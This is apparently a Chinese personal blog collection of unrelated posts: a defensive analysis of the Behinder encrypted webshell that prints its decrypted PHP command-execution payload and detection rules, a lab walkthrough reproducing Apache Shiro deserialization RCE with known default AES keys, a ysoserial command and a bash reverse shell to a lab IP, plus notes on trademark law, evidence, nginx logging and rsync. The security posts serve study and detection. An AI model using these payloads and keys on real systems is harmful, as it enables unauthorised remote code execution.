亮的MARK库

mark.liangliang.org.cn

红蓝对抗——加密Webshell“冰蝎”攻防

演练中,第一代webshell管理工具“菜刀”的攻击流量特征明显,容易被安全设备检测到,攻击方越来越少使用,加密webshell正变得越来越流行,由于流量加密,传统的WAF、WebIDS设备难以检测,给威胁监控带来较大挑战。这其中最出名就是“冰蝎”,“冰蝎”是一款动态二进制加密网站管理客户端,演练中给防守方造成很大困扰,本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。

0x01 “冰蝎”介绍&加密原理

“冰蝎”项目地址:https://github.com/rebeyond/Behinder “冰蝎”目前最新版本为v2.1,兼容性已经日益完善,加密不再依赖PHP openssl扩展功能,同时支持了简单的ASP。主体功能方面包括虚拟终端、socks代理、文件管理、反弹shell、数据库管理等等,功能强大。

img

加密原理方面,以PHP环境为例,《利用动态二进制加密实现新型一句话木马之PHP篇》[1]这篇文章对“冰蝎“的原理已经做了详细的分析,简要介绍一下加密流程:

img

  • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
  • 客户端将源代码,如asserteval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串asserteval(“phpinfo();”)。
  • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。
  • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval(“phpinfo;”)”) 。

0x02 “冰蝎”加密流量分析

通过wireshark进行抓包分析,流量如下:

img

img

按照流程,客户端首先get请求生产随机密钥,server返回生成的16位密钥:0x7037af5d95561f3d。这个get请求的session ID为 466geshjq6hr15kbmd72ju24g5

得到密钥后,客户端对需要执行的命令进行AES加密,加密后的通讯流量如下,没有任何攻击特征,安全设备难以根据特征进行检测:

img

我们用密钥对该信息进行解密:

img

发现解密后执行的命令被base64编码了,进一步进行base64解码后,得到执行的命令如下:

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;

    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15];
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$cmd="pwd";
main($cmd);

可以看到,经过一些列的处理,最终执行的命令是“pwd”,命令执行的结果保存在json串result中,result[“status”] 表示命令是否执行成功,result[“msg”]表示命令执行的结果。冰蝎对执行的返回结果result也进行了加密,加密方式也是采用的AES(如果php没有开启openssl扩展,在采用明文和密钥逐位异或进行加密),密钥也是利用第一步随机get产生的密钥。

0x03 “冰蝎”检测思路

检测思路可以从流量、应用、主机三个层面入手。

img

思路一:流量侧

(1)虽然冰蝎的通讯流量都是加密的,但是在第一步,冰蝎必须需要获得密钥,具体流量特征: 1、是一个get请求,url中带上参数?pass(参数名称可变)

img

对应的检测正则表达式:

/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}

由于该请求特征不明显,此正则会产生较多误报。

2、返回包状态码为200,返回内容必定是16位的密钥

img

对应的检测正则表达式:

^[a-fA-F0-9]{16}$

返回包特征相对明显,针对这一特征可以在WebIDS、全流量检测等安全设备中对返回包制定相应的特征检测规则。

(2)按照kill-chain的模型,除了在webshell通信的时候进行检测,也可以在上传webshell时(即载荷投递阶段)进行检测,对冰蝎的webshell木马文件特征定制特定的检测规则。以php webshell木马为例,webshell中包含了openssl_decrypt、base64、eval等关键字,可以在WAF、WebIDS、流量检测等安全设备中定制相应的关键字进行检测。

img

(3)安全厂商方面,越来越多的安全厂商也正在升级检测规则,支持对冰蝎的检测,检测效果需要进一步测试。

img

基于流量的检测不可避免的可能会产生误报的问题,需要结合企业业务实际流量进行调整;同时,冰蝎也可以进一步升级来规避这些特征,单单利用流量来进行检测难以到达完全的检测效果。

思路二:应用侧——OpenRASP检测

1、什么是OpenRASP?

随着Web应用攻击手段变得复杂,基于请求特征的防护手段,已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。更多细节,请参考**《OpenRASP 最佳实践》[2]**

img

2、RASP 技术和现有方案主要区别

首先,RASP 几乎没有误报情况。边界设备基于请求特征检测攻击,通常无法得知攻击是否成功。对于扫描器的踩点行为、nday 扫描,一般会产生大量报警。RASP 运行在应用内部,失败的攻击不 会触发检测逻辑,所以每条攻击都是成功的报警。

其次,RASP 可以发现更多攻击。以SQL注入为例,边界设备只能看到请求信息。RASP 不但能够 看到请求信息,还能看到完整的SQL语句,并进行关联。如果SQL注入让服务器产生了语法错误或 者其他异常,RASP引擎也能够识别和处理。

最后,RASP 可以对抗未知漏洞。发生攻击时,边界防护设备无法掌握应用下一步的动向。RASP 技术可以识别出异常的程序逻辑,比如反序列化漏洞导致的命令执行,因此可以对抗未知漏洞。

3、OpenRASP 部署

目前,OpenRASP 支持 Java 和 PHP 两种开发语言,具体安装教程请参考:https://rasp.baidu.com/doc/install/main.html

img

以PHP为例,应用安装成功后,会在返回包头中添加X-Protected-By:OpenRASP字段,如下图所示:

img

此时,我们再次利用冰蝎进行命令执行操作,发现OpenRASP的检测引擎已经完美发现加密流量,并检测出执行的命令“whoami”。img

虽然OpenRASP有很多优势,可以准确检测出一些未知漏洞,但是由于其本身的实现也存在一些问题使其在大规模推广还有一定难度。比如RASP对应用侵入过大、angent的安装可能对系统性能的影响、企业大规模部署运维的压力等等。

思路三:主机侧

(1)定期对服务器进行webshell文件扫描查杀

这里用D盾、河马和OpenRASP团队开发的下一代WebShell检测引擎webdir+[3]进行测试,检测结果都比较一般。

其中,D盾、河马只检测出了早期冰蝎v1.2版本中的PHP webshell文件,未检测出jsp、asp 等webshell,检出比只有20%。

img

而对于冰蝎v2.1的webshell,D盾、河马都完全没有检测出来,检出比为0。img

只有webdir+检测出了冰蝎v2.1的3个webshell文件,检出比为60%,可见冰蝎的免杀做得很不错。

img

同时,定期的webshell文件扫描也存在时效性差的问题,攻击方拿到shell后,也会对webshell进行痕迹清理,所以这种方式检测效果也有限。

(2)Linux audit日志检测

虽然冰蝎通讯流量是加密的,但落到主机侧,还是会调用系统命令,所以可以在主机审计日志层面定制检测规则,监控冰蝎对系统命令的调用。Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息,参考**《另类WebShell监测机制–基于auditd》[4]思路。**

以root身份执行如下命令,可实现对执行系统命令这一个SYSCALL行为的监控审计。

auditctl -D # 清除已有规则
auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command

上述命令在系统审计规则中增加了一条监控调用命令执行监控规则,并且定义规则名为rule01_exec_command。

在冰蝎中执行命令whoami,在Linux审计日志中发现记录:

img

type=SYSCALL\:日志规则“rule01_exec_command”被触发,uid=33的用户,通过父进程ppid=597,调用/usr/bin/bash,执行了命令sh,进程pid=8380。**type=SYSCALL和type=EXECVE\都能看到执行的程序名称和参数。type=CWD\**则说明了,命令执行所在的目录cwd=”/var/www/html”。 一般cwd在web目下的,又执行了系统命令,则这个行为是比较可疑的。 当然基于审计日志的检测思路也存在一定问题,包括:合理配置auditd的运行参数,准确评估审计功能对系统性能的影响;如何主动识别Web进程和Web目录信息;如何实时收集操作系统进程和进程PID等信息;如何关联分析Web访问日志;Windows平台是否有同样的检测机制等等。

0x04 总结

随着攻防对抗的不断升级,攻击方的手段越来越隐蔽,很多攻击流量都会进行加密,给防守方带来了较大挑战,相信后续对加密攻击流量检测的研究也会越来越多。本文对加密webshell“冰蝎”的加密原理进行了分析,在流量侧检测、应用侧检测、主机层检测方面提出了检测思路。各个层面的检测各有利弊,都难以仅仅依靠一种手段解决所有问题。

按照纵深防御的思想,企业需要部署多层次的防护,合理运用各种技术的特点,从而达到多层次、多技术的防御互补的效果,进而防止一处防御失效后被全局突破。同时,在各个防御手段部署后,企业还需要持续不断的进行安全运营,发挥防御设备最大功效,构建合适自身的安全防御体系,才能不断提升企业的安全防护水平,才能应对日益严峻的网络安全形势。

最后,今天是中华人民共和国成立70周年,祝福祖国繁荣昌盛,祝大家假期愉快!

参考资料

[1]

《利用动态二进制加密实现新型一句话木马之PHP篇》: https://xz.aliyun.com/t/2774

[2]《OpenRASP 最佳实践》: https://rasp.baidu.com/download/OpenRASP%20Internals.pdf?from=header

[3]webdir+: https://scanner.baidu.com/#/pages/intro

[4]《另类WebShell监测机制–基于auditd》: https://www.secpulse.com/archives/62113.html

Apache Shiro反序列化远程代码执行复现

最近也是看shiro漏洞比较多,所以自己也在本地复现了一下,拿出来与大家一起分享

0x00 关于Apache Shiro

Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应?安全提供了相应的API:

认证-?用户身份识别,常被称为用户”登录” 授权-访问控制 密码加密-保护或隐藏数据防止被偷窥 会话管理-用户相关的时间敏感的状态

0x01 环境搭建

漏洞版本<=1.2.4,使用docker搭建

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

访问80端口即可访问漏洞环境

0x02 所需工具

(1)攻击机kali(192.168.10.101)

(2)centos7靶机(192.168.10.105)

(3)docker环境

(4)shiro.py利用脚本

(5)ysoserial.jar(java反序列化利用工具)

0x03 漏洞原理

从官方的 issue 上来看,存在几个重要的点:

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

Shiro550: shiro≤1.2.4版本,默认使?了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从?引发反序列化漏洞。

常见的key如下:

kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==

有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进?遍历key(前提是正常登录得到一个rememberMe的值):

Shiro721:

rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精?制作rememberMe来进?反序列化攻击。

Tip:可以结合JRMP gadget使?用,可以?大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

0x04 漏洞演示

我们搭建好环境就是这样一个界面

技术分享图片

然后输入用户名,密码,勾选Remember Me选项

用burp抓包,然后重放一下,go

技术分享图片

发现返回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)

说明存在shiro漏洞

我们先得知道他所用的key是啥,有一个工具很好用,用它可以在dnslog上成功打出key

技术分享图片

技术分享图片

ps:shiro.py脚本中默认用的是”KPH……”这个key,若打出的key不同,可以修改

然后我们来构造payload来进行反弹shell的操作

写好反弹shell的命令

bash -i >& /dev/tcp/192.168.10.101/666 0>&1

然后转换成加密后的指令(去这个网站http://www.jackson-t.ca/runtime-exec-payloads.html)

技术分享图片

将指令合成为一个java的监听指令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwMS82NjYgMD4mMQ==}{base64,-d}{bash,-i}‘

运行它开启java一个监听端口

技术分享图片

利用脚本向java发送请求生成poc

python shiro.py 192.168.10.101:6666

技术分享图片

然后先在kali上开启一个监听

nc -lvp 666

技术分享图片

然后将生成的rememberMe=*******放到发送包的Cookie中

技术分享图片

这时成功反弹了shell

技术分享图片

ps: shiro.py 和ysoserial.jar要放在同一路径下

参考:http://vlambda.com/wz_wAgsAcgbFI.html

https://paper.seebug.org/shiro-rememberme-1-2-4/

   https://blog.csdn.net/weixin_38166689/article/details/101154245

商标显著性

显著性是指商标所具有的标示企业商品或服务出处并使之区别于其他企业之商品或服务的属性。作为商标保护的“灵魂”和商标法正常运行的“枢纽”。

​ 我国《商标法》没有区分商标显著性的强弱,但在行政规章中出现了“商标的独创性”的表述,“独创性”作为法律词汇本是著作权法对作品的要求,即受著作权法保护的作品必须具有独创性。

​ “显著性”则是商标法对一个标记可以用作商标注册的要求,即申请注册的商标应当具有显著特征,便于识别。

因此,在商标立法采用“商标的显著性”的表述更为妥当,商标的显著性可以进一步分为两个层次。

1. 是商标标记本身所固有的显著性,即商标文字、图形或者图文组合或者表现形式以及立体商标构造的显著性。
2. 是通过使用取得的显著性,即因商标知名度的提高使商标显著性获得提升。

“商标的独创性”是指第一层含义上的商标显著性,有显著性的商标不一定具有独创性。

如使用在“葡萄酒”上的“长城”商标具有显著性,但不具有独创性,而使用在“冰箱”上的“海尔”商标既具有显著性,也具有独创性。

证据的三性:真实性、关联性、合法性

刑事司法实务中,在法庭调查环节,为人耳熟能详的法庭用语之一就是“下面请辩护人(公诉人)对证据的三性发表意见”。所谓“证据的三性”,即证据的真实性、关联性、合法性。

真实性:

​ 真实性也叫做证据的客观性或者确实性。

它是指证据所反映的内容应当是真实的,客观存在的。任何案件事实都是在一定的时间和空间之间发生的。案件事实发生后,必然会在客观外界遗留下某些物品或痕迹。这些事实以及它们同案件事实的联系都是客观的。证据的真实性是证据最本质的特征。法律规定,一切证据材料必须经过查证属实,才能作为定案的依据。

关联性:

​ 证据的关联性又称相关性,是指证据与案件事实之间存在客观联系。

客观性固然是证据的重要特征,但仅有客观性的事实还不能成为证据,还必须与案件事实存在客观联系。与案件情况没有联系的客观事实,不能起证明案件真实情况的作用,不能成为案件的证据。证据与案件事实的联系是多种多样的。有因果联系,条件联系,时间联系,空间联系,必然联系和偶然联系等。其中,因果联系是最常见、最主要的联系。一切倾向于证明待证事实可能存在或可能不存在的证据均为相关证据,否则不具有关联性。

合法性

​ 证据的合法性是指证明案件真实情况的证据必须符合法律规定的要求。

证据的合法性主要表现在以下几方面:

(1)证据必须是法定人员依照法律规定的程序和方法收集的。收集证据必须依法进行。依法收集证据,既是程序正义的重要标志,也是在民事诉讼中获取确凿证据,正确认定案件事实的重要保证。只有合法收集的证据才能作为裁判的依据。通过违法侵犯人的身体、住所或者函件等其他通讯方法所获得的证据不能采用。

(2)证据必须具备合法的形式。我国民事诉讼法规定的证据形式有7种。这些证据形式是立法机关总结了我国多年的民事诉讼实践经验,并借鉴了古今中外民事诉讼法中合理因素的基础上制定出来的。它反映了我国民事诉讼证据的内容。因此,凡是不符合我国民事诉讼法规定的证据形式就不能视为合法证据。

(3)证据必须有合法的来源。如果证据的来源不合法,就不能用作定案的根据。
法庭组织控辩双方对证据的三性展开质辩的过程,通称为“质证”。因此,我国司法实务中的质证活动,在内容和对象上指向的就是证据的三性,学理上称之为“三性质证”模式。对证据三性的质辩活动,在控辩双方的角度而言,是质证,而从法官的角度来说,组织控辩双方进行质证,则是一种证据调查活动,因此,“三性质证”模式同时也是我国刑事庭审基本的证据调查模式。

什么样的标志“带有欺骗性”?——《商标法》第十条第一款第(七)项的适用分析

​ 商标不得注册和使用事由,即绝对理由的规定,对于保持商标注册管理秩序的正常运行、维护公共秩序、公共利益和社会公序良俗至关重要。相较于根据2001年10月27日第九届全国人民代表大会常务委员会第二十四次会议《关于修改〈中华人民共和国商标法〉的决定》第二次修正的商标法(下称第二次修正的商标法),我国现行商标法对于绝对理由条款作了几处修改,其中最为显著、对确权实践影响最大的当属第十条第一款第(七)项的修改,即将“夸大宣传并带有欺骗性”的规定修改为“带有欺骗性,容易使公众对商品的质量等特点或者产地产生误认的”。

语义和逻辑分析

从法条用语来讲,“欺骗”是指用虚假的言语或行动来掩盖事实真相,使人上当;“误认”是指产生错误的认识。而“欺骗性”和“误认”之间应该是一种什么逻辑关系?不同的界定对于该条款适用要件的确定至关重要:一种理解是“欺骗性”和“误认”是并列关系,“欺骗性”是现行商标法第十条第一款第(七)项规定的核心所在,“容易使公众对商品的质量等特点或者产地产生误认”是“欺骗性”的后果,也是对“欺骗性”的进一步说明,是具体的现象和情形;另一种理解为“欺骗性”和“误认”是递进关系,仅有“欺骗性”不足以适用该条款规定,这种“欺骗性”还应导致“误认”,才能适用该条款。

按照第一种理解,现行商标法第十条第一款第(七)项规定的核心在于“欺骗性”,在因果关系上,“欺骗性”是因,“误认”是果。“欺骗性”的来源不是公众的错误认识,而是“名”(商标所表现出来的形态)与“实”(事物本来的状态)的不一致,这种不一致是客观存在的,所以推定公众会产生误认,即使公众认识不到(或者暂时认识不到),都不影响“欺骗性”的存在。按照第二种理解,“误认”是该条款的核心,商标所具有的“欺骗性”,其欺骗的对象指向相关公众,即商标所指定使用商品或服务的经营者、消费者,按照拟制的“理性人”(即具有一般知识、经验、能力的人)的判断标准,只有在相关公众产生错误认识并影响其消费行为的时候,这种“欺骗性”才受到法律的制止。

引证商标、形式审查、实质审查

引证商标

要素主要包括商标申请日期,注册人基本信息,注册号,商标代理人基本信息,商标类型等内容
是驳回你的商标时用来证明他人已在先申请和注册了的与你相同或近似的商标。
引证商标还用于[驳回复审](https://baike.baidu.com/item/驳回复审/3064584)申请的过程中,针对引证商标与申请商标作出对比,给出理由。
什么是引证商标呢?下面指间未来就来为您介绍一下引证商标注册的含义。引证商标就是驳回你的商标时用来证明他人已在先申请和注册了的与你商标相同或近似的商标。

一件商标从递交申请到拿到商标注册证书需要2年左右的时间,期间要经历形式审查和实质审查的过程。实质审查就是审查商标有无在先相同近似,所谓引证商标就是审查员找到的在先相同近似商标的证据材料,将其附在商标驳回通知书的附页上,供该申请人参考。
引证商标中会出现商标驳回原因有:与在先申请的商标近似或相似;违法商标法规定,如:通用名、***名称、带有民族歧视性的等这类;注册商标是要具有显著性、不能违反商标法的规定、不能注册跟已经注册过的商标有近似或相似情况出现、跟他人申请注册的商标不能为同一类商品这些都是在申请注册商标时的注意事项。如果没有达到这些条件,就会出现商标驳回通知书,通知书上面的引证商标就是告诉你跟哪个已经申请注册商标类似,同时引证商标上面会提供在先申请商标注册号,这个可以去***商标局网站进行商标注册查询该商标的信息。
关于注册商标的更多内容,尽在指间未来,以“站在客户角度,维护客户利益,解决客户问题”核心服务理念为引导,为企事业单位提供:商标、专利、版权等***知识产权保护和咨询服务,除了基础的品牌设计、商标注册、专利申请、版权登记等服务以外,指间未来尤其擅长处理:商标确权疑难案件,商标侵权***诉讼,专利无效案件,专利布局,专利分析,知识产权战略布局规划,企业知识产权管理体系建设。指间未来根据中大型企业的发展需求,提供:品牌管理咨询、设计策划、企业形象设计服务;高新技术企业认定服务,知识产权贯标服务等高端、系统的知识产权代理和咨询服务。

一件商标从递交申请到拿到商标注册证书需要2年左右的时间,期间要经历形式审查实质审查的过程。

形式审查

1.形式审查主要分三个部分:申请书件的审查(文件是否齐全、填写是否规范、签字/印章是否缺少)、对[商标图样](https://baike.baidu.com/item/商标图样/2495099)规格、清晰程序及必要的说明的审查、分类审查(对填报的商品/服务项目的审查)。

2.根据形式审查的结果,[商标局](https://baike.baidu.com/item/商标局/9036251)主要发出三种通知书:〈[受理通知书](https://baike.baidu.com/item/受理通知书)〉、〈[补正通知书](https://baike.baidu.com/item/补正通知书)〉与〈[不予受理通知书](https://baike.baidu.com/item/不予受理通知书)〉。

实质审查

是审查商标有无在先相同近似,所谓引证商标就是审查员找到的在先相同[近似商标](https://baike.baidu.com/item/近似商标/10141550)的证据材料,将其附在商标驳回通知书的附页上,供该申请人参考。

以nginx.conf为例子

我们通常看到的日志都是输入到一个文件中,类似access.log,error.log。只要产生相关日志日志就会出现对应的文件中。

error_log /etc/nginx/logs/error.log info;
access_log /etc/nginx/logs/access.log;

而我们在docker容器中,nginx.conf文件如下

error_log /dev/stdout info;
access_log /dev/stdout;

supervisord.conf文件如下

[program:nginx]
command=/usr/sbin/nginx -g "daemon off; error_log /dev/stderr info;"
autostart=true
autorestart=true
priority=10
stdout_events_enabled=true
stderr_events_enabled=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
stopsignal=QUIT

可以看到日志并不是输出到一个文件内,而是**/dev/stdout/dev/stderr**。它的作用就是日志输出docker日志中,而不输入到具体的文件中。docker日志就是使用以下命令在前台输入的内容

docker-compose logs -f

或者是我们docker前台启动后,输出的内容

docker-compose up

现在有个问题,如果不是在docker上,在云上时,把nginx.conf配置成/dev/stdout时,相关日志输出在哪里?

如docker前台启动一样,日志也会输出到nginx前台启动,通过nginx二进制命令启动

[root@002 sbin]# ./nginx    
[root@002 sbin]# 119.119.76.13 - - [15/Oct/2019:14:40:27 +0800] "GET / HTTP/1.1" 200 24725 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
119.119.76.13 - - [15/Oct/2019:14:40:27 +0800] "GET /animated_favicon.gif HTTP/1.1" 200 207 "http://114.115.146.64:666/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
119.119.76.13 - - [15/Oct/2019:14:41:04 +0800] "GET / HTTP/1.1" 200 24725 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
119.119.76.13 - - [15/Oct/2019:14:41:04 +0800] "GET /animated_favicon.gif HTTP/1.1" 200 207 "http://114.115.146.64:666/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"

nginx查看标准输出的日志通过前台启动时可以看到,其他服务也是一样,通过前台启动时即可查看到。

/dev/stdout 标准输出 /dev/stdin 标准输入 /dev/stderr 标准错误 /dev/null 不输入输出

还有一个问题,就是起了一个容器后,该容器有nginx和php进程,而俩进程都是使用supervisord来守护进程的。nginx日志都可以在docker里面正常输出,当我有一个需求,需要开启定时执行任务。这时需要在dockerfile文件中新增CMD命令,因为dockerfile中只能执行一条CMD命令,该命令就是容器的主进程。所以我门既要保证原来的服务能正常启动,我们还要启动crontab。所以命令如下

CMD /usr/bin/supervisord -c /etc/supervisord.conf && crond && tail -f /etc/supervisord.conf

提到CMD就不得不提应用在前台执行和后台执行的问题。docker中的所有应用后应该是前台执行,而不是像虚拟机里面用server/systemd去启动后台服务,容器里面没后台服务的概念。一般初学者将CMD写为CMD service nginx start.然后容器执行就退出了。对于容器而言,其启动程序就是容器应用进程,容器就是为了主进程而存在的,主进程退出,容器就失去意义,所以退出,其他辅助进程不是它所关心的。

CMD /usr/bin/supervisord -c /etc/supervisord.conf && crond

如果执行上条命令的话,会报code为0的问题,表示容器退出,也就是后台启动完进程就退出了,所以容器也就没有存在的意义,也就退出了。所以我们加tail命令,tail可阻塞,挂起一个主进程,类似前台启动。

CMD /usr/bin/supervisord -c /etc/supervisord.conf && crond && tail -f /etc/supervisord.conf

注意:这时意味着和之前相比,主进程发生了变化,也就意味着,此时nginx的相关日志就不会输出在docker前台了。可以想象成原来开启的是nginx服务,现在开启了一个mysql服务,nginx的相关日志信息也理所当然的不会出现在mysql的服务中了。

重要:如果使用CMD后改变主进程,类似nginx日志将不会输出到console,此时我们应该修改nginx的配置文件,让其log输出到文件中

使用ssh 传输rsync 流量具有下述优点:可通过网络加密数据,也可利用使用ssh 客户端密钥建立的任何信任关系。如果要在两台计算机之间保持大型、复杂目录结构的同步性(尤其是两者间的差异很小时),那么rsync 就是一种使用起来极为方便(并且执行速度很快)、随心所欲的工具。

参数:

-a 归档模式,表示以递归方式传输文件,并保持所有属性,等同于-rlptgoD, -a选项后面可以跟一个 –no-OPTION 这个表示关闭-rlptgoD中的某一个例如 -a–no-l 等同于-rptgoD;

-r 对子目录以递归模式处理,主要是针对目录来说的,如果单独传一个文件不需要加-r,但是传输的是目录必须加-r选项;

-t 保持文件的时间属性;

-p 保持文件的权限属性;

-l 保留软链接;

-L 同步软链接的同时同步其源文件;

-g 保存文件数组;

-o 保持文件的属主;

-D 保存设备文件信息;

-v =visual,可视化;

-P 显示同步过程,比v更详细;

-u =update,加上该选项,如果DEST中文件比SRC中的新,则不同步;

-z =zip,传输时压缩;

–delete 删除DEST中SRC没有的文件;

–exclude 过滤指定文件,不同步;

–progress 在同步的过程中可以看到同步的过程状态,比如统计要同步的文件数量、同步的文件传输速度等等;

-e 指定端口;

-e:通过 ssh 传递文件

例:加上端口信息的ssh传输:

-e “ssh -p 2234”

rsync -arvP -e “ssh -p 2234” localdir host:remotedir

--delete:删除目标副本中的文件和目录。

默认情况下,rsync 只复制文件和目录,但如果从源主机删除了文件和目 录,那就不会从目标副本中删除这些文件和目录。要精确保存副本,须 包含 标志:

root@rover:~# rsync -ave ssh greendome:/home/ftp/pub/ /home/ftp/pub/

-v:是 verbose模式,输出更详细log。默认不输出这些信息。

-a:archive模式。在做备份的时候必备这个参数。(并不代表打包目标副本。)

-t:更新时间戳。

-z:压缩模式。With this option, rsync compresses any data from the files that it sends to the destination machine. This option is useful on slow connections. The compression method used is the same method that gzip uses.

-l:在目标服务器上重建主机上的link。

-n, –dry-run:不实施任何传输。只是报告模拟的传输结果。

实例:

rsync -avze ssh /home/me/public_html/contents/ user@toku:/home/tenten/contents/

Shell 例子:

#!/bin/sh

# ——– sync_contents.sh ———- # Synchronization for user contents. # This program is copyright (c) 2006 # Kreny # Ver. 1.0.0 2006/8/3 16:53:30 #

# Date for logging DATE=date +'%Y-%m-%d %T'

# Log file full pathname LOG_FILE=’/home/user/rsync_contents.log’

if [ ! -f $LOG_FILE ]; then echo “ERROR:” echo “Please check whether the log file $LOG_FILE exists and the writting permission.” exit fi

# Contents path in original Server. No backslash at the end of the path. CONTENTS_PATH_ORGINAL=’/homeuser/public_html/contents’

# Contents path in target Server. Enter the backslash at the end of the path. CONTENTS_PATH_TARGET=’/homeuser/public_html/‘

# Target server list TARGET_SERVER=’toku toku toku’

# ssh login username USER_NAME=’user’

# rsync ‘s path RSYNC=’/usr/bin/rsync’

echo “———– $DATE ———–” >> $LOG_FILE

for cur_server in $TARGET_SERVER do echo “Synchronization for Server $cur_server …” >> $LOG_FILE $RSYNC -zave ssh $CONTENTS_PATH_ORGINAL $USER_NAME@$cur_server:$CONTENTS_PATH_TARGET >> $LOG_FILE done

echo “———– END ———–” >> $LOG_FILE

